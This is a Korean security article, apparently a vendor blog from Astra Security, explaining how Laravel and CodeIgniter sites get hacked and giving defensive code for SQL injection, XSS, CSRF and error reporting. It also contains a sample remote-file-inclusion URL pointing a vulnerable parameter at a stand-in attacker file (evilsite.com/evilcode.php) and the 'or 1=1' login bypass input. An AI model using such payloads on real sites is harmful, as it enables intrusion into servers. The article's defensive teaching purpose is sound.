Computer >> 컴퓨터 >  >> 네트워킹 >> 네트워크 보안

Laravel/CodeIgniter 웹사이트가 해킹당했다면? 원인이 되는 주요 취약점과 대응 방법

Laravel과 CodeIgniter는 웹사이트 구축에 널리 사용되는 대표적인 오픈소스 PHP 프레임워크입니다. 하지만 이러한 프레임워크를 사용한다고 해서 사이트가 자동으로 안전해지는 것은 아닙니다. 진짜 중요한 것은 안전한 개발 습관입니다. 커뮤니티 포럼에서 가장 자주 다뤄지는 보안 주제 중 하나가 바로 CodeIgniter와 Laravel에서 발생하는 SQL 인젝션(SQL Injection)입니다. SQLi뿐만 아니라 부실한 개발 관행은 XSS, CSRF, RFI 공격 등 다양한 위협에 사이트를 노출시킵니다.

Laravel/CodeIgniter 웹사이트 해킹 사례

CodeIgniter나 Laravel에서 흔히 발생하는 SQL 인젝션 같은 광범위한 공격은 웹사이트 전체를 장악할 수 있습니다. 실제로 Laravel 커뮤니티 포럼이나 CodeIgniter 커뮤니티 포럼에는 유사한 공격을 당한 수많은 사용자들이 도움을 요청하는 글을 찾아볼 수 있습니다.

Laravel/CodeIgniter 웹사이트가 해킹당했다면? 원인이 되는 주요 취약점과 대응 방법 Laravel/CodeIgniter 웹사이트가 해킹당했다면? 원인이 되는 주요 취약점과 대응 방법

CodeIgniter 또는 Laravel 해킹의 주요 증상

  • 민감한 정보를 탈취하려는 Laravel/CodeIgniter 피싱 페이지가 사이트에 삽입되어 있는 경우
  • 사용자들이 악성 사이트로 강제 리디렉션된다고 불평하는 경우
  • 일본어 키워드 해킹(Japanese Keyword Hack)이나 파마 해킹(Pharma Hack) 등으로 인해 의미 없는 이상한 콘텐츠가 사이트에 나타나는 경우
  • 웹사이트가 매우 느려지고 오류 메시지가 표시되는 경우
  • 외부 호스팅을 사용할 때 '계정이 정지되었습니다'라는 메시지가 나타나는 경우
  • 검색 엔진에 의해 사이트가 블랙리스트에 등재되는 경우
  • 오류 로그에서 CodeIgniter SQL 인젝션과 같은 공격 흔적이 발견되는 경우
  • 로그에 원격 IP로부터의 비정상적인 로그인 기록이 남는 경우
  • 로그인 데이터베이스에 새로운 악성 관리자 계정이 생성되는 경우

주요 취약점과 해킹 유형

1) CodeIgniter/Laravel 인젝션 공격

a) SQL 인젝션(SQL Injection)

SQL 인젝션은 CodeIgniter에서 매우 흔하게 발생하는 공격입니다. 이름 그대로 서버의 데이터베이스를 표적으로 삼는 공격으로, 공격자는 SQL 인젝션 취약점을 악용해 다음과 같은 행위를 할 수 있습니다.

  • 데이터베이스에서 데이터를 조회·탈취
  • 데이터베이스 내용 수정, 심한 경우 데이터베이스 전체 삭제(DROP)
  • 일부 상황에서는 리버스 셸(reverse shell) 확보
  • or 1=1 같은 입력값으로 인증 우회

b) PHP 코드 인젝션(PHP Code Injection)

PHP 코드 인젝션은 공격자가 Laravel/CodeIgniter 웹사이트에서 임의의 코드를 실행할 수 있게 하는 또 다른 일반적인 취약점입니다. 다만 명령어 인젝션(command injection)과 달리, 해당 언어(PHP)의 명령만 실행할 수 있다는 점이 다릅니다.

명령어 인젝션은 리버스 셸을 통해 시스템 명령을 실행할 수 있습니다. 예를 들어 취약한 파라미터에 다음처럼 악성 PHP 코드가 담긴 파일 링크를 전달할 수 있습니다.

https://testsite.com/?page=https://evilsite.com/evilcode.php

이 파일에는 정보를 수집하는 데 활용될 수 있는 phpinfo() 같은 함수가 포함될 수 있습니다.

2) 교차 사이트 스크립팅(XSS)

XSS 취약점은 입력값 검증(sanitization)이 부족할 때 Laravel/CodeIgniter 웹사이트에서 발생합니다. 두 프레임워크 모두 이러한 공격을 방지하기 위한 보안 함수를 제공하고 있습니다. XSS 공격에 성공한 공격자는 다음을 수행할 수 있습니다.

  • 피싱을 통해 쿠키와 세션 데이터 등 민감한 정보 탈취
  • 사용자를 악성 사이트로 리디렉션
  • 동일 출처 정책(same-origin policy) 우회

3) 교차 사이트 요청 위조(CSRF)

CSRF 공격은 사용자를 속여 원치 않는 동작을 수행하게 만드는 공격입니다. 단, 데이터를 삭제하거나 조작하는 것(예: 폼 삭제)만 가능할 뿐, 데이터를 읽거나 탈취하지는 못합니다. 최악의 경우, 희생자가 관리자라면 애플리케이션 전체가 파괴될 수도 있습니다. 이 공격은 소셜 엔지니어링 기법을 이용해 피해자가 링크를 클릭하도록 유도하고, 그 배후에서 계정 삭제 같은 명령이 실행되게 합니다.

이 외에도 CodeIgniter와 Laravel에 특화된 알려진 취약점들이 존재합니다.

4) CodeIgniter의 알려진 취약점

  • 권한 상승(CVE-2020-10793):
    CodeIgniter 4.0.0까지의 버전에서는 '사용자 역할 선택' 페이지로 전달되는 이메일 ID를 변조해 원격 공격자가 권한을 획득할 수 있었습니다.
  • 세션 고정(Session Fixation, CVE-2018-12071):
    CodeIgniter 3.1.9 미만 버전에서는 세션 라이브러리의 session.use_strict_mode 처리 문제로 세션 고정 취약점이 존재했습니다.
  • XML 외부 엔티티(XXE) 취약점(CVE-2015-3907):
    CodeIgniter Rest Server(codeigniter-restserver) 2.7.1은 XXE 공격에 취약했습니다.

5) Laravel의 알려진 취약점

  • 디버그 모드 원격 코드 실행(RCE, CVE-2021-3129):
    2020년 11월 말 Laravel v8.4.2 이하 버전의 laravel CMS에서 RCE 취약점이 발견되었습니다.
  • 정보 노출(CVE-2020-13909):
    Laravel의 Ignition 페이지 2.0.5 미만 버전은 globals, _get, _post, _cookie, _env 값을 잘못 처리하여 원격 공격자가 민감한 정보에 접근할 수 있었습니다.
  • 역직렬화 취약점(CVE-2019-9081):
    Laravel Framework 5.7.x의 Illuminate 컴포넌트에는 역직렬화 취약점이 존재하며, 콘텐츠를 제어할 수 있는 경우 PendingCommand.php 내 PendingCommand 클래스의 __destruct 메서드와 연관된 원격 코드 실행으로 이어질 수 있습니다.

Laravel 또는 CodeIgniter 기반 웹사이트가 해킹당했나요? 지금 채팅 위젯으로 문의하세요.

CodeIgniter/Laravel 웹사이트 보호 방법

CodeIgniter에서 SQL 인젝션 방지하기

CodeIgniter는 다양한 보안 기능을 기본 제공하며, 그중에는 SQL 인젝션을 방지하는 함수와 라이브러리도 포함되어 있습니다. 다음의 세 가지 방법을 활용해 공격을 예방할 수 있습니다.

1. CodeIgniter에서 쿼리 이스케이프(Escaping)

PHP 애플리케이션에 데이터를 전달하기 전에 이스케이프 처리하면 입력값이 정화(sanitize)됩니다. 반드시 습관화해야 할 보안 관행 중 하나입니다. 쿼리 이스케이프는 세 가지 방식으로 수행할 수 있습니다.

  1. $this->db->escape(): 데이터 타입을 판별한 후 이스케이프 처리
  2. $this->db->escape_str(): 데이터 타입 판별 없이 단순 이스케이프 처리
  3. $this->db->escape_like_str(): LIKE 조건문과 함께 사용 가능

다음 코드 예시를 참고하세요.

<?php
$email= $this->input->post('email');
$query = 'SELECT * FROM subscribers_tbl WHERE user_name='.$this->db->escape($email);
$this->db->query($query);
?>

위 코드에서 $this->db->escape() 함수는 먼저 데이터 타입을 판별해 문자열 데이터만 이스케이프하며, 입력값 주위에 작은따옴표를 자동으로 추가합니다. 이를 통해 CodeIgniter의 SQL 인젝션을 예방할 수 있습니다.

2. CodeIgniter에서 쿼리 바인딩(Binding)

입력값 정화 외에도 쿼리 바인딩은 CodeIgniter 웹사이트의 코드를 단순화해 줍니다. 이 방식은 시스템이 쿼리를 처리하도록 하여 개발자의 복잡성을 줄여줍니다.

<?php $sql = "SELECT * FROM subscribers_tbl WHERE status = ? AND email= ?"; $this->db->query($sql, array('active', 'admin@example.com'));?>

첫 번째 줄의 물음표(?)에 주목하세요. 쿼리 바인딩 덕분에 이 물음표들은 두 번째 줄 배열의 값들로 자동 치환됩니다. 앞선 예제에서는 수동 이스케이프를 사용했지만, 이 방식은 이 과정을 자동으로 수행하여 CodeIgniter의 SQL 인젝션을 차단합니다.

3. CodeIgniter 액티브 레코드(Active Record)

CodeIgniter의 액티브 레코드 기능을 사용하면 최소한의 코드로 데이터베이스 작업을 수행할 수 있습니다. 시스템 자체 기능이므로 쿼리 이스케이프가 자동으로 처리됩니다. 예를 들어 테이블의 모든 데이터는 다음 한 줄의 간단한 쿼리로 조회할 수 있습니다.

$query = $this->db->get('mytable');

Laravel에서 SQL 인젝션 방지하기

Laravel의 ORM(Object-Relational Mapping)은 PHP 객체 데이터 바인딩을 통해 사용자 입력을 정화함으로써 SQL 인젝션을 방지합니다. 파라미터 바인딩은 따옴표도 자동으로 추가해주기 때문에 or 1=1 같은 위험한 입력값이 인증을 우회하는 것을 막아줍니다.

다음은 Laravel에서 네임드 바인딩 쿼리를 사용한 구현 예시입니다.

$results = DB::select('select * from users where id = :id', ['id' => 1]);

CodeIgniter에서 XSS 방지하기

잠재적인 XSS 공격을 방지하기 위해 CodeIgniter는 기본 내장 XSS 필터를 제공합니다. 이 필터는 악성 요청을 감지하면 해당 문자를 문자 엔티티(entity)로 변환하여 애플리케이션을 보호합니다. 필터는 xss_clean() 메서드를 통해 사용할 수 있습니다.

$data = $this->security->xss_clean($data);

다만 공격자가 이미지 파일 내부에 악성 코드를 삽입하는 경우도 있습니다. 이런 공격을 막으려면 업로드된 파일도 보안 검사를 거쳐야 합니다.

if ($this->security->xss_clean($file, TRUE) === FALSE)
{
// 파일이 XSS 검사를 통과하지 못함
}

이 코드는 이미지가 안전하면 True를, 그렇지 않으면 False를 반환합니다. 참고로 HTML 속성값을 필터링하려면 html_escape() 메서드를 사용하는 것이 좋습니다.

Laravel에서 XSS 방지하기

Laravel 웹사이트에서는 이스케이프 문자열(escape string)을 사용해 XSS 공격을 예방할 수 있습니다. 이스케이프 문자열은 검증되지 않은 입력이 실행되는 것을 막아줍니다. Laravel 5.1 이상 버전에서는 이 기능이 기본적으로 활성화되어 있으므로, <div>{{ $task->names }}</div> 같은 입력이 들어와도 자동 쿼리 이스케이프 덕분에 취약해지지 않습니다.

사용자 입력 길이를 제한하는 것도 특정 유형의 XSS와 SQLi 공격을 예방하는 데 도움이 됩니다.

<input type="text" name="task" maxlength="10">

동일한 제한은 JS 함수로도 구현할 수 있습니다. Laravel의 {{ }} 문법은 기본적으로 악성 HTML 엔티티를 이스케이프 처리합니다.

또한 Laravel XSS 방지를 위해 특별히 설계된 라이브러리들도 있습니다. Blade 같은 템플릿 엔진을 사용하면 자동으로 이스케이프 처리가 적용되어 이러한 공격을 예방합니다.

CodeIgniter에서 CSRF 방지하기

CodeIgniter에서는 application/config/config.php 파일을 편집해 CSRF 보호를 활성화할 수 있습니다. 파일에 다음 코드를 추가하기만 하면 됩니다.

$config['csrf_protection'] = TRUE;

Form Helper를 사용한다면 form_open() 함수를 통해 폼에 숨겨진 CSRF 토큰 필드가 기본으로 삽입되도록 할 수 있습니다. 또 다른 방법은 get_csrf_token_name()get_csrf_hash()를 활용하는 것입니다. 폼과 서버 측 구현 코드 예시는 아래와 같습니다.

<input type="hidden" name="<?=$csrf['name'];?>" value="<?=$csrf['hash'];?>" />

$csrf = array(
'name' => $this->security->get_csrf_token_name(),
'hash' => $this->security->get_csrf_hash());

토큰 재생성(token regeneration) 역시 CodeIgniter CSRF 공격을 막는 안전한 방법입니다. 다만 토큰 재생성은 사용자가 다른 탭으로 이동한 후 재인증이 필요할 수 있다는 점에서 번거로움이 있을 수 있습니다. 토큰 재생성은 다음 설정 파라미터로 활성화할 수 있습니다.

$config['csrf_regenerate'] = TRUE;

Laravel에서 CSRF 방지하기

Laravel은 폼에 CSRF 방지용 토큰을 적용합니다. 이 토큰은 각 폼에 내장된 AJAX 호출을 통해 불러오며, 요청 토큰의 데이터가 서버에 저장된 사용자 세션의 토큰과 일치하는지 확인해 이상 여부를 검사합니다. CSRF 토큰은 다음 코드(Blade 템플릿 구현)로 폼에 전달할 수 있습니다.

<form name="CSRF Implementation">
{!! csrf_field() !!}
<!-- 다른 입력 필드가 여기에 위치 -->
</form>

또한 LaravelCollective/HTML 패키지를 사용하면 CSRF 토큰이 기본으로 자동 추가됩니다.

CodeIgniter에서 오류 리포팅 차단하기

파일 오류는 개발 환경에서는 유용하지만, 실제 운영 환경에서는 CodeIgniter 파일 오류가 공격자에게 민감한 정보를 누출할 수 있습니다. 따라서 오류 리포팅을 끄는 것이 안전한 관행입니다.

PHP 오류

PHP 오류 리포팅을 끄려면 index.php 파일을 사용합니다. error_reporting() 함수에 0을 인자로 전달하기만 하면 됩니다.

error_reporting(0);

CodeIgniter 2.0.1 이상 버전에서는 index.php 파일의 환경(environment) 상수를 'production'으로 설정해 PHP 오류 출력을 비활성화할 수도 있습니다.

데이터베이스 오류

데이터베이스 오류는 application/config/database.php 파일을 편집해 비활성화할 수 있습니다. db_debug 옵션을 FALSE로 설정하면 됩니다.

$db['default']['db_debug'] = FALSE;

오류 로깅(Error Logging)

더 스마트한 방법은 발생한 오류를 화면에 표시하지 않고 로그 파일로 넘기는 것입니다. /config/config.php 파일의 log_threshold 옵션을 1로 설정하면 됩니다.

$config['log_threshold'] = 1;

Laravel/CodeIgniter에 웹 방화벽(WAF) 적용하기

공격자들은 끊임없이 새로운 방식으로 사이트를 공략합니다. 따라서 방화벽이나 보안 솔루션을 활용하는 것도 중요한 보안 관행입니다. Astra Security는 유연한 보안 요구를 충족하도록 설계된 보안 솔루션입니다. 채팅 위젯으로 문의하시면 웹사이트 보안에 한 걸음 더 가까워질 수 있습니다. 지금 데모를 신청해 보세요!

Laravel/CodeIgniter 웹사이트가 해킹당했다면? 원인이 되는 주요 취약점과 대응 방법

Astra Security는 80개 이상의 활성 테스트와 자동화·수동 테스트의 적절한 조합을 통해 Laravel 또는 CodeIgniter 웹사이트에 대한 종합 보안 감사를 제공합니다.